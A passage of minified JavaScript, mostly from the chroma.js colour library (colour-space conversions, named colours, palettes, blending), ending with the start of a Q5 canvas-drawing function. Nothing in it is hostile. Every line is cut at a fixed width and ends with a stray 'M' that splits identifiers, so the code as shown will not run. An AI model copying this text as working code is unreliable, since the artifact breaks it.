u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
